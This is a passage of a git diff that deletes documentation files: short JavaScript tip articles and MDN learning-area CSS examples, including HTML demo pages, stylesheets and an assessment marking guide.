-The `void` operator returns an `undefined` value from an evaluated expression, or in other words; the `void` operator specifies an expression to be evaluated without returning a value. It is commonly used in client-side JavaScript, where the browser should not display the value.
-
----
-
-```js
-function getYear() {
-    return 2020;
-}
-
-console.log(getYear());
-// Output: 2020
-
-console.log(void getYear());
-// Output: undefined
-
-// Useful use case
-button.onclick = () => void getYear();
-```
diff --git a/docs/content/js-topics/whatisthejavascriptternaryoperator.md b/docs/content/js-topics/whatisthejavascriptternaryoperator.md
deleted file mode 100644
index b5137cf9b0..0000000000
--- a/docs/content/js-topics/whatisthejavascriptternaryoperator.md
+++ /dev/null
@@ -1,34 +0,0 @@
----
-layout: post
-
-title: What is the JavaScript ternary operator?
-tip-number: 81
-tip-username: loverajoel
-tip-username-profile: https://www.twitter.com/loverajoel
-tip-tldr: The ternary operator is a shortcut for the if statement.
-
-categories:
-    - en
-    - javascript
----
-
-The ternary operator is a shortcut for the `if` statement. It consists of three operands; a question mark, a condition, and an expression to execute if the condition is true, followed by a colon and another expression to execute if it's false.
-
-```js
-let age = 26;
-
-// condition ? expression if true : expression if false
-let drink = age >= 21 ? 'Beer' : 'Juice';
-
-console.log(drink); // "Beer"
-
-// Equivalent to:
-let drink;
-if (age >= 21) {
-    drink = 'Beer';
-} else {
-    drink = 'Juice';
-}
-
-console.log(drink); // "Beer"
-```
diff --git a/docs/content/js-topics/whatisthepromiseexecutor.md b/docs/content/js-topics/whatisthepromiseexecutor.md
deleted file mode 100644
index 68f37ebc6b..0000000000
--- a/docs/content/js-topics/whatisthepromiseexecutor.md
+++ /dev/null
@@ -1,26 +0,0 @@
----
-layout: post
-
-title: What is the promise executor?
-tip-number: 80
-tip-username: loverajoel
-tip-username-profile: https://www.twitter.com/loverajoel
-tip-tldr: The method received as an argument for the promise.
-
-categories:
-    - en
-    - javascript
----
-
-All `Promise` instances accept a method as an argument called the executor. This executor takes two methods as arguments: resolve and reject. Within the executor, if resolve is called, the `Promise` instance becomes fulfilled. If an exception is thrown, reject is called instead, and the `Promise` instance becomes rejected.
-
-```js
-const executor = (resolve, reject) => {
-    setTimeout(() => resolve("I'm done"), 1000);
-};
-
-new Promise(executor).then((result) => {
-    console.log(result);
-    // Output after 1000ms: I'm done
-});
-```
diff --git a/docs/content/js-topics/whatisthetemporaldeadzone.md b/docs/content/js-topics/whatisthetemporaldeadzone.md
deleted file mode 100644
index baf0974b90..0000000000
--- a/docs/content/js-topics/whatisthetemporaldeadzone.md
+++ /dev/null
@@ -1,33 +0,0 @@
-title: What is the Temporal Dead Zone?
-tip-number: 76
-tip-username: loverajoel
-tip-username-profile: https://www.twitter.com/loverajoel
-tip-tldr: Temporal Dead Zone is a JavaScript behavior while using variables declared using `let` and `const` keywords.
-
-categories: - en - javascript
-
----
-
-Temporal Dead Zone is a JavaScript behavior while using variables declared using `let` and `const` keywords. Since the keywords are block-scoped, the variables declared these keywords could not be accessed before the declaration, and then you will have to witness where variables will be said to be `undefined`.
-
----
-
-```js
-function myFunc() {
-    console.log(greeting);
-    var greeting = 'Hello World!';
-}
-myFunc(); // Output: undefined
-
-function myFunc() {
-    console.log(greeting);
-    let greeting = 'Hello World!';
-}
-myFunc(); // Output: ReferenceError: greeting is not defined
-
-function myFunc() {
-    console.log(greeting);
-    const greeting = 'Hello World!';
-}
-myFunc(); // Output: ReferenceError: greeting is not defined
-```
diff --git a/docs/content/js-topics/workingwithwebsockettimeout.md b/docs/content/js-topics/workingwithwebsockettimeout.md
deleted file mode 100644
index 6226bfaa40..0000000000
--- a/docs/content/js-topics/workingwithwebsockettimeout.md
+++ /dev/null
@@ -1,32 +0,0 @@
-title: Working With Websocket Timeout
-tip-number: 63
-tip-username: loverajoel
-tip-username-profile: https://github.com/loverajoel
-tip-tldr: A trick to control the timeout
-
-categories: - en - javascript
-
----
-
-In case of established websocket connection, server or firewall could timeout and terminate the connection after a period of inactivity. To deal with this situation, we send periodic message to the server. To control the timeout we will add two functions in our code : one to make sure connection keep alive and another one to cancel the keep alive. Also we need a common `timerID` variable.
-Let's have a look on implementation-
-
-```js
-var timerID = 0;
-function keepAlive() {
-    var timeout = 20000;
-    if (webSocket.readyState == webSocket.OPEN) {
-        webSocket.send('');
-    }
-    timerId = setTimeout(keepAlive, timeout);
-}
-function cancelKeepAlive() {
-    if (timerId) {
-        clearTimeout(timerId);
-    }
-}
-```
-
-Now as we have both of our desired function for the task, we will place `keepAlive()` function at the end of `onOpen()` method of websocket connection and `cancelKeepAlive()` function at the end of `onClose()` method of websocket connection.
-
-Yes! We have perfectly implemented hack for websocket timeout problem.
diff --git a/docs/content/js-topics/writingasinglemethodforarraysandasingle.md b/docs/content/js-topics/writingasinglemethodforarraysandasingle.md
deleted file mode 100644
index a779fe119e..0000000000
--- a/docs/content/js-topics/writingasinglemethodforarraysandasingle.md
+++ /dev/null
@@ -1,33 +0,0 @@
-title: Writing a single method for arrays and a single element
-tip-number: 06
-tip-username: mattfxyz
-tip-username-profile: https://twitter.com/mattfxyz
-tip-tldr: Rather than writing separate methods to handle an array and a single element parameter, write your functions so they can handle both. This is similar to how some of jQuery's functions work (`css` will modify everything matched by the selector).
-
--   /en/writing-a-single-method-for-arrays-and-a-single-element/
-
-Rather than writing separate methods to handle an array and a single element parameter, write your functions so they can handle both. This is similar to how some of jQuery's functions work (`css` will modify everything matched by the selector).
-
-You just have to concat everything into an array first. `Array.concat` will accept an array or a single element.
-
----
-
-```js
-function printUpperCase(words) {
-    var elements = [].concat(words || []);
-    for (var i = 0; i < elements.length; i++) {
-        console.log(elements[i].toUpperCase());
-    }
-}
-```
-
-`printUpperCase` is now ready to accept a single node or an array of nodes as its parameter. It also avoids the potential `TypeError` that would be thrown if no parameter was passed.
-
-```js
-printUpperCase('cactus');
-// => CACTUS
-printUpperCase(['cactus', 'bear', 'potato']);
-// => CACTUS
-//  BEAR
-//  POTATO
-```
diff --git a/docs/content/learning-area/css/introduction-to-css/debugging-css-finished/index.html b/docs/content/learning-area/css/introduction-to-css/debugging-css-finished/index.html
deleted file mode 100644
index 7cc6a747d3..0000000000
--- a/docs/content/learning-area/css/introduction-to-css/debugging-css-finished/index.html
+++ /dev/null
@@ -1,41 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>CSS comprehension</title>
-        <link rel="stylesheet" href="style.css" />
-    </head>
-
-    <body>
-        <header>
-            <h1>My imperfect page</h1>
-        </header>
-
-        <main>
-            <h2>My article</h2>
-
-            <img src="https://mdn.mozillademos.org/files/11947/ff-logo.png" alt="firefox logo" />
-
-            <p>
-                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi. Nulla quis
-                sem at nibh elementum imperdiet. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia
-                arcu eget nulla.
-            </p>
-
-            <ul>
-                <li>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</li>
-                <li>Integer nec odio. Praesent libero.</li>
-                <li>Sed cursus ante dapibus diam.</li>
-            </ul>
-
-            <p>
-                Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Curabitur sodales ligula in libero. Sed dignissim
-                lacinia nunc. Curabitur tortor. Pellentesque nibh. Aenean quam. In scelerisque sem at dolor.
-            </p>
-        </main>
-
-        <footer>
-            <p>&copy;1978 Chris' brain</p>
-        </footer>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/introduction-to-css/debugging-css-finished/style.css b/docs/content/learning-area/css/introduction-to-css/debugging-css-finished/style.css
deleted file mode 100644
index fe62eed588..0000000000
--- a/docs/content/learning-area/css/introduction-to-css/debugging-css-finished/style.css
+++ /dev/null
@@ -1,63 +0,0 @@
-/* General styles */
-
-html {
-    font-family: 'Helvetica neue', Arial, 'sans serif';
-    font-size: 10px;
-}
-
-body {
-    width: 80em;
-    margin: 0 auto;
-}
-
-/* Typography */
-
-h1 {
-    font-size: 4em;
-}
-
-h2 {
-    font-size: 3.2em;
-}
-
-p,
-li {
-    font-size: 1.7em;
-}
-
-/*+++ more specific section styles +++*/
-
-/* header and footer */
-
-header,
-footer {
-    background-color: teal;
-    height: 10em;
-    padding: 2em;
-}
-
-h1,
-footer p {
-    margin: 0;
-}
-
-h1 {
-    text-align: center;
-    padding: 0.5em 0;
-}
-
-/* main content */
-
-main {
-    padding: 2em;
-}
-
-main p,
-main li {
-    line-height: 2;
-}
-
-img {
-    float: right;
-    margin: 1.2em 2em;
-}
diff --git a/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension-finished/index.html b/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension-finished/index.html
deleted file mode 100644
index 96b52cea2b..0000000000
--- a/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension-finished/index.html
+++ /dev/null
@@ -1,33 +0,0 @@
-<!DOCTYPE html>
-<html>
-
-<head>
-  <meta charset="utf-8">
-  <title>Fundamental CSS comprehension</title>
-  <link rel="stylesheet" href="style.css">
-</head>
-
-<body>
-
-  <section class="card">
-    <header>
-      <h2>Chris Mills</h2>
-    </header>
-    <article>
-      <img src="chris.jpg" alt="A picture of Chris - a man with glasses, a beard, and a silly wooly hat">
-      <p>50 My Street</br>
-        The Town<br>
-        Gray Peach<br>
-        UK<br>
-        ZO50 1MU<br>
-        <strong>Tel</strong>: 01234 567 890<br>
-        <strong>Mail</strong>: chris@nothere.com</p>
-    </article>
-    <footer>
-      <p>Editing, writing, and web development services</p>
-    </footer>
-  </section>
-
-</body>
-
-</html>
diff --git a/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension-finished/marking-guide.md b/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension-finished/marking-guide.md
deleted file mode 100644
index 3d49fcbdaf..0000000000
--- a/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension-finished/marking-guide.md
+++ /dev/null
@@ -1,77 +0,0 @@
-# Marking guide for "Fundamental CSS comprehension"
-
-The following guide outlines a marking guide for the MDN Learning Area HTML Topic — [Fundamental CSS comprehension](https://developer.mozilla.org/en-US/Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension). Each subtask detailed in the assessment is listed below, along with an explanation of how many marks the task is worth, and the mark breakdown.
-
-Note: These are guidelines, not set in stone rules — you are of course free to use your judgement on mark awarding when you meet an edge case, or something that isn't clear cut.
-
-The overall mark awarded is out of 35. Work out their final mark, and then divide by 35 and multiply by 100 to give a percentage mark. For reference, you can find a [finished business card](https://mdn.github.io/learning-area/css/introduction-to-css/fundamental-css-comprehension-finished/) that would be awarded top marks.
-
-## Basic setup
-
-<dl>
-<dt>"create a new file in the same directory as your HTML and image files" (1 mark)</dt>
-<dd>The first task — creating your CSS file — is only worth one mark. It is pretty easy, although you won't be able to do much without getting this right.</dd>
-<dt>"Link your CSS to your HTML file via a <code>&lt;link&gt;</code> element" (2 marks)</dt>
-<dd>Slightly more challenging, but again pretty easy.</dd>
-<dt>"copy and paste them into the top of your new CSS file. Use them as a test to make sure your CSS is properly applied to your HTML." (1 mark)</dt>
-<dd>This is just copy and paste, so not really worth much.</dd>
-<dt>"Above the two rules, add a CSS comment with some text inside it to indicate that this is a set of general styles for the overall page. "General page styles" would do. Also add three more comments..." (2 marks)</dt>
-<dd>Good commenting is important. You should award 0.5 marks for each of the four comments, as long as they are written in a sensible place with meaningful text.</dd>
-</dl>
-
-## Taking care of the provided selectors and rulesets
-
-<dl>
-<dt>"look at the four selectors, and calculate the specificity for each one." (2 marks)</dt>
-<dd>The correct specificity for each one is as follows (half a mark each):
-  <ul>
-    <li>0012</li>
-    <li>0011</li>
-    <li>0011</li>
-    <li>0010</li>
-  </ul>
-</dd>
-<dt>"Now it's time to put the right selector on the right rule set!" (4 marks)</dt>
-<dd>The correct pairing are as follows (1 mark for each):
-  <ul>
-    <li><code>.card article img</code> goes with the fourth ruleset.</li>
-    <li><code>.card footer</code> goes with the third ruleset.</li>
-    <li><code>.card header</code> goes with the second ruleset.</li>
-    <li><code>.card</code> goes with the first ruleset.</li>
-  </ul>
-</dd>
-<dt>"Beware! There are two errors in the provided rulesets." (2 marks)</dt>
-<dd>The errors are as follows (one mark for fixing each one):
-  <ul>
-    <li><code>background-colour</code> in the first ruleset: colour > color.</li>
-    <li><code>max-height: 100%</code> in the fourth rule needs a semi-colon at the end of it.</li>
-  </ul>
-</dd>
-</dl>
-
-## New rulesets you need to write
-
-<dl>
-<dt>"Write a ruleset that targets both the card header, and card footer..." (3 marks)</dt>
-<dd>The correct rule should look <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension-finished/style.css#L30-L33">something like this</a>. Since the default font size as set on the <code>&lt;html&gt;</code> element is 10px, 1em is 10px, so the height (30px) should be represented by 3em, and the padding by 1em. 10 + 30 + 10 = 50.
-</dd>
-<dt>"The default margin applied to the <code>&lt;h2&gt;</code> and <code>&lt;p&gt;</code> elements by the browser will interfere with our design" (3 marks)</dt>
-<dd>The correct rule should look <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension-finished/style.css#L24-L26">something like this</a>. Simply setting the margin to 0 on all paragraphs and the <code>&lt;h2&gt;</code> should be fine.</dd>
-<dt>"To stop the image from spilling out of the main business card content (the <code>&lt;article&gt;</code> element), we need to give it a specific height." (3 marks)</dt>
-<dd>The correct rule should look <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension-finished/style.css#L57-L60">something like this</a>. The height needs to be 12ems (as 12 x the base size of 10px = 120px), and the color needs to be RGBA — black expressed in RGB (0,0,0) with an alpha channel value of about 0.1-0.3.</dd>
-<dt>"Write a ruleset that gives the <code>&lt;h2&gt;</code> an effective font size of 20px (but expressed in ems) and an appropriate line height to place it in the center of the header's content box..." (3 marks)</dt>
-<dd>The correct rule should look <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension-finished/style.css#L46-L48">something like this</a>. The height needs to be 2ems (2 x 10 = 20), and the line height would be expressed best as 1.5 (1.5 x 20px = 30px, the height of the header content.) Setting line height to 30px would also be ok.</dd>
-<dt>"Write a ruleset that gives the <code>&lt;p&gt;</code> an effective font size of 15px (but expressed in ems) and an appropriate line height to place it in the center of the header's content box..." (3 marks)</dt>
-<dd>The correct rule should look <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension-finished/style.css#L50-L53">something like this</a>. The height needs to be 1.5ems (1.5 x 10 = 15), and the line height would be expressed best as 2 (2 x 15px = 30px, the height of the header content.) Setting line height to 30px would also be ok.</dd>
-<dt>"As a last little touch, give the paragraph inside the <code>&lt;article&gt;</code> an appropriate padding value so that its left edge lines up with the <code>&lt;h2&gt;</code> and footer paragraph, and set its color to be fairly light so it is easy to read." (3 marks)</dt>
-<dd>The correct rule should look <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension-finished/style.css#L67-L70">something like this</a>. The padding needs to be 1em, and the color needs to be set to some kind of lighter color that will show up well against the darker background we set earlier. Pure white would be ok, or something similar.</dd>
-</dl>
-
-## Other things to think about
-
-<dl>
-<dt>"You'll get bonus marks if you write your CSS for maximum readability, with a separate declaration on each line." (2 marks)</dt>
-<dd>If the CSS is arranged in a readable  manner, with a separate declaration on each line (or similar), then they get the marks. If not, then they don't.</dd>
-<dt>"You should include <code>.card</code> at the start of the selector chain in all your rules, so that these rules wouldn't interfere with the styling of any other elements if the business card were to be put on a page with a load of other content." (1 mark)</dt>
-<dd>A nice little addition to include in the assessment for promoting the idea of "compartmentalisation", or "namespacing" of CSS so different sets of rules don't interfere with one another. Not that important in this particular context, but it would be nice for the student to include.</dd>
-</dl>
diff --git a/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension-finished/style.css b/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension-finished/style.css
deleted file mode 100644
index 0a04c367ea..0000000000
--- a/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension-finished/style.css
+++ /dev/null
@@ -1,72 +0,0 @@
-/* General styles */
-
-body {
-    margin: 0;
-}
-
-html {
-    font-family: 'Helvetica neue', Arial, 'sans serif';
-    font-size: 10px;
-    background-color: #ccc;
-}
-
-/* card setup */
-
-.card {
-    width: 35em;
-    height: 22em;
-    margin: 5em auto;
-    background-color: red;
-    border: 0.2em solid black;
-    border-radius: 1.5em;
-}
-
-.card h2,
-.card p {
-    margin: 0;
-}
-
-/* Header and footer */
-
-.card header,
-.card footer {
-    height: 3em;
-    padding: 1em;
-}
-
-.card header {
-    background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));
-    border-radius: 1.5em 1.5em 0 0;
-}
-
-.card footer {
-    background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1));
-    border-radius: 0 0 1.5em 1.5em;
-}
-
-.card header h2 {
-    font-size: 2em;
-    line-height: 1.5;
-}
-
-.card footer p {
-    font-size: 1.5em;
-    line-height: 2;
-}
-
-/* Main body of card (article) */
-
-.card article {
-    height: 12em;
-    background-color: rgba(0, 0, 0, 0.25);
-}
-
-.card article img {
-    max-height: 100%;
-    float: right;
-}
-
-.card article p {
-    padding: 1em;
-    color: rgba(255, 255, 255, 0.8);
-}
diff --git a/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension/chris.jpg b/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension/chris.jpg
deleted file mode 100644
index bc9b1bf3c3..0000000000
Binary files a/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension/chris.jpg and /dev/null differ
diff --git a/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension/index.html b/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension/index.html
deleted file mode 100644
index 57985e4c7c..0000000000
--- a/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension/index.html
+++ /dev/null
@@ -1,32 +0,0 @@
-<!DOCTYPE html>
-<html>
-
-<head>
-  <meta charset="utf-8">
-  <title>Fundamental CSS comprehension</title>
-</head>
-
-<body>
-
-  <section class="card">
-    <header>
-      <h2>Chris Mills</h2>
-    </header>
-    <article>
-      <img src="chris.jpg" alt="A picture of Chris - a man with glasses, a beard, and a silly wooly hat">
-      <p>50 My Street</br>
-        The Town<br>
-        Gray Peach<br>
-        UK<br>
-        ZO50 1MU<br>
-        <strong>Tel</strong>: 01234 567 890<br>
-        <strong>Mail</strong>: chris@nothere.com</p>
-    </article>
-    <footer>
-      <p>Editing, writing, and web development services</p>
-    </footer>
-  </section>
-
-</body>
-
-</html>
diff --git a/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension/style-resources.txt b/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension/style-resources.txt
deleted file mode 100644
index e50ccacd88..0000000000
--- a/docs/content/learning-area/css/introduction-to-css/fundamental-css-comprehension/style-resources.txt
+++ /dev/null
@@ -1,44 +0,0 @@
-/* General styles - put these straight into your stylesheet */
-
-body {
-  margin: 0;
-}
-
-html {
-  font-family: 'Helvetica neue', Arial, 'sans serif';
-  font-size: 10px;
-  background-color: #ccc;
-}
-
-/* Selectors to be matched up with rulesets */
-
-.card article img
-.card footer
-.card header
-.card
-
-/* Rulesets to be matched up with selectors */
-
-{
-  width: 35em;
-  height: 22em;
-  margin: 5em auto;
-  background-colour: red;
-  border: 0.2em solid black;
-  border-radius: 1.5em;
-}
-
-{
-  background-image: linear-gradient(to bottom,rgba(0,0,0,0.1), rgba(0,0,0,0));
-  border-radius: 1.5em 1.5em 0 0;
-}
-
-{
-  background-image: linear-gradient(to bottom,rgba(0,0,0,0), rgba(0,0,0,0.1));
-  border-radius: 0 0 1.5em 1.5em;
-}
-
-{
-  max-height: 100%
-  float: right;
-}
diff --git a/docs/content/learning-area/css/introduction-to-css/how-css-works/index.html b/docs/content/learning-area/css/introduction-to-css/how-css-works/index.html
deleted file mode 100644
index 2423314568..0000000000
--- a/docs/content/learning-area/css/introduction-to-css/how-css-works/index.html
+++ /dev/null
@@ -1,13 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>My CSS experiment</title>
-        <link rel="stylesheet" href="style.css" />
-    </head>
-
-    <body>
-        <h1>Hello World!</h1>
-        <p>This is my first CSS example</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/introduction-to-css/how-css-works/style.css b/docs/content/learning-area/css/introduction-to-css/how-css-works/style.css
deleted file mode 100644
index 8e2417a194..0000000000
--- a/docs/content/learning-area/css/introduction-to-css/how-css-works/style.css
+++ /dev/null
@@ -1,9 +0,0 @@
-h1 {
-    color: blue;
-    background-color: yellow;
-    border: 1px solid black;
-}
-
-p {
-    color: red;
-}
diff --git a/docs/content/learning-area/css/styling-boxes/advanced_box_effects/background-clip-text.html b/docs/content/learning-area/css/styling-boxes/advanced_box_effects/background-clip-text.html
deleted file mode 100644
index 6207b998ef..0000000000
--- a/docs/content/learning-area/css/styling-boxes/advanced_box_effects/background-clip-text.html
+++ /dev/null
@@ -1,32 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>CSS filters examples</title>
-        <style>
-            html {
-                font-family: impact, sans-serif;
-            }
-
-            h2 {
-                width: 250px;
-                height: 250px;
-                text-align: center;
-                line-height: 250px;
-                font-size: 75px;
-                display: inline-block;
-                background: url(colorful-heart.png) no-repeat center;
-            }
-
-            .text-clip {
-                -webkit-background-clip: text;
-                -webkit-text-fill-color: transparent;
-            }
-        </style>
-    </head>
-
-    <body>
-        <h2>WOW</h2>
-        <h2 class="text-clip">WOW</h2>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/advanced_box_effects/blend-modes.html b/docs/content/learning-area/css/styling-boxes/advanced_box_effects/blend-modes.html
deleted file mode 100644
index d89957f4e1..0000000000
--- a/docs/content/learning-area/css/styling-boxes/advanced_box_effects/blend-modes.html
+++ /dev/null
@@ -1,229 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>CSS blend modes examples</title>
-        <style>
-            html {
-                font-family: sans-serif;
-            }
-
-            body {
-                margin: 0;
-            }
-
-            div {
-                width: 280px;
-                height: 130px;
-                padding: 10px;
-                margin: 10px;
-            }
-
-            article {
-                width: 330px;
-                height: 180px;
-                margin: 10px;
-                position: relative;
-            }
-
-            body > div,
-            article div:first-child {
-                background: url(colorful-heart.png) no-repeat center 20px;
-                background-color: green;
-            }
-
-            body > div,
-            article {
-                display: inline-block;
-            }
-
-            article div:first-child {
-                position: absolute;
-                top: 10px;
-                left: 0;
-            }
-
-            article div:last-child {
-                background-color: purple;
-                position: absolute;
-                bottom: -10px;
-                right: 0;
-                z-index: -1;
-            }
-
-            .multiply {
-                background-blend-mode: multiply;
-            }
-
-            .multiply-mix {
-                mix-blend-mode: multiply;
-            }
-
-            .screen {
-                background-blend-mode: screen;
-            }
-
-            .screen-mix {
-                mix-blend-mode: screen;
-            }
-
-            .overlay {
-                background-blend-mode: overlay;
-            }
-
-            .overlay-mix {
-                mix-blend-mode: overlay;
-            }
-
-            .darken {
-                background-blend-mode: darken;
-            }
-
-            .darken-mix {
-                mix-blend-mode: darken;
-            }
-
-            .lighten {
-                background-blend-mode: lighten;
-            }
-
-            .lighten-mix {
-                mix-blend-mode: lighten;
-            }
-
-            .color-dodge {
-                background-blend-mode: color-dodge;
-            }
-
-            .color-dodge-mix {
-                mix-blend-mode: color-dodge;
-            }
-
-            .color-burn {
-                background-blend-mode: color-burn;
-            }
-
-            .color-burn-mix {
-                mix-blend-mode: color-burn;
-            }
-
-            .hard-light {
-                background-blend-mode: hard-light;
-            }
-
-            .hard-light-mix {
-                mix-blend-mode: hard-light;
-            }
-
-            .soft-light {
-                background-blend-mode: soft-light;
-            }
-
-            .soft-light-mix {
-                mix-blend-mode: soft-light;
-            }
-
-            .difference {
-                background-blend-mode: difference;
-            }
-
-            .difference-mix {
-                mix-blend-mode: difference;
-            }
-
-            .hue {
-                background-blend-mode: hue;
-            }
-
-            .hue-mix {
-                mix-blend-mode: hue;
-            }
-        </style>
-    </head>
-
-    <body>
-        <h2>Background blend modes</h2>
-
-        <div>No blend mode</div>
-
-        <div class="multiply">Multiply</div>
-
-        <div class="screen">Screen</div>
-
-        <div class="overlay">Overlay</div>
-
-        <div class="color-dodge">Color-dodge</div>
-
-        <div class="color-burn">Color-burn</div>
-
-        <div class="hard-light">Hard-light</div>
-
-        <div class="soft-light">Soft-light</div>
-
-        <div class="difference">Difference</div>
-
-        <div class="hue">Hue</div>
-
-        <h2>Mix blend modes</h2>
-
-        <article>
-            No mix blend mode
-            <div></div>
-            <div></div>
-        </article>
-
-        <article>
-            Multiply mix
-            <div class="multiply-mix"></div>
-            <div></div>
-        </article>
-
-        <article>
-            Screen mix
-            <div class="screen-mix"></div>
-            <div></div>
-        </article>
-
-        <article>
-            Overlay mix
-            <div class="overlay-mix"></div>
-            <div></div>
-        </article>
-
-        <article>
-            Color-dodge mix
-            <div class="color-dodge-mix"></div>
-            <div></div>
-        </article>
-
-        <article>
-            Color-burn mix
-            <div class="color-burn-mix"></div>
-            <div></div>
-        </article>
-
-        <article>
-            Hard-light mix
-            <div class="hard-light-mix"></div>
-            <div></div>
-        </article>
-
-        <article>
-            Soft-light mix
-            <div class="soft-light-mix"></div>
-            <div></div>
-        </article>
-
-        <article>
-            Difference mix
-            <div class="difference-mix"></div>
-            <div></div>
-        </article>
-
-        <article>
-            Hue mix
-            <div class="hue-mix"></div>
-            <div></div>
-        </article>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/advanced_box_effects/box-shadow.html b/docs/content/learning-area/css/styling-boxes/advanced_box_effects/box-shadow.html
deleted file mode 100644
index 7f9ff32cd3..0000000000
--- a/docs/content/learning-area/css/styling-boxes/advanced_box_effects/box-shadow.html
+++ /dev/null
@@ -1,68 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>CSS box shadow examples</title>
-        <style>
-            html {
-                font-family: sans-serif;
-            }
-
-            p {
-                margin: 0;
-            }
-
-            article {
-                max-width: 500px;
-                padding: 10px;
-                background-color: red;
-                background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.25));
-            }
-
-            .simple {
-                box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.7);
-            }
-
-            .multiple {
-                box-shadow: 1px 1px 1px black, 2px 2px 1px black, 3px 3px 1px red, 4px 4px 1px red, 5px 5px 1px black, 6px 6px 1px black;
-            }
-
-            button {
-                width: 150px;
-                font-size: 1.1rem;
-                line-height: 2;
-                border-radius: 10px;
-                border: none;
-                background-image: linear-gradient(to bottom right, #777, #ddd);
-                box-shadow: 1px 1px 1px black, inset 2px 3px 5px rgba(0, 0, 0, 0.3), inset -2px -3px 5px rgba(255, 255, 255, 0.5);
-            }
-
-            button:focus,
-            button:hover {
-                background-image: linear-gradient(to bottom right, #888, #eee);
-            }
-
-            button:active {
-                box-shadow: inset 2px 2px 1px black, inset 2px 3px 5px rgba(0, 0, 0, 0.3), inset -2px -3px 5px rgba(255, 255, 255, 0.5);
-            }
-        </style>
-    </head>
-
-    <body>
-        <h2 id="basic">Basic box shadow example</h2>
-
-        <article class="simple">
-            <p><strong>Warning</strong>: The thermostat on the cosmic transcender has reached a critical level.</p>
-        </article>
-
-        <h2 id="multiple">Multiple box shadows example</h2>
-
-        <article class="multiple">
-            <p><strong>Warning</strong>: The thermostat on the cosmic transcender has reached a critical level.</p>
-        </article>
-
-        <h2 id="inner">Inner shadows example</h2>
-
-        <button>Press me!</button>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/advanced_box_effects/colorful-heart.png b/docs/content/learning-area/css/styling-boxes/advanced_box_effects/colorful-heart.png
deleted file mode 100644
index 66549ebd58..0000000000
Binary files a/docs/content/learning-area/css/styling-boxes/advanced_box_effects/colorful-heart.png and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-boxes/advanced_box_effects/filters.html b/docs/content/learning-area/css/styling-boxes/advanced_box_effects/filters.html
deleted file mode 100644
index 33d9fa7574..0000000000
--- a/docs/content/learning-area/css/styling-boxes/advanced_box_effects/filters.html
+++ /dev/null
@@ -1,119 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>CSS filters examples</title>
-        <style>
-            html {
-                font-family: sans-serif;
-            }
-
-            figure {
-                transition: 1s all;
-                display: inline-block;
-                position: relative;
-            }
-
-            figcaption {
-                position: absolute;
-                left: 0;
-                bottom: 50px;
-                text-shadow: 1px 1px 1px white, 2px 2px 1px white;
-                font-size: 1.3rem;
-                letter-spacing: 2px;
-            }
-
-            .blur:hover {
-                -webkit-filter: blur(5px);
-                filter: blur(5px);
-            }
-
-            .brightness:hover {
-                -webkit-filter: brightness(0.6);
-                filter: brightness(0.6);
-            }
-
-            .shadow:hover {
-                -webkit-filter: drop-shadow(10px 10px 5px rgba(0, 0, 0, 0.7));
-                filter: drop-shadow(10px 10px 5px rgba(0, 0, 0, 0.7));
-            }
-
-            .gray:hover {
-                -webkit-filter: grayscale(100%);
-                filter: grayscale(100%);
-            }
-
-            .sepia:hover {
-                -webkit-filter: sepia(100%);
-                filter: sepia(100%);
-            }
-
-            .invert:hover {
-                -webkit-filter: invert(100%);
-                filter: invert(100%);
-            }
-
-            .saturate:hover {
-                -webkit-filter: saturate(300%);
-                filter: saturate(300%);
-            }
-
-            .opacity:hover {
-                -webkit-filter: opacity(0%);
-                filter: opacity(0%);
-            }
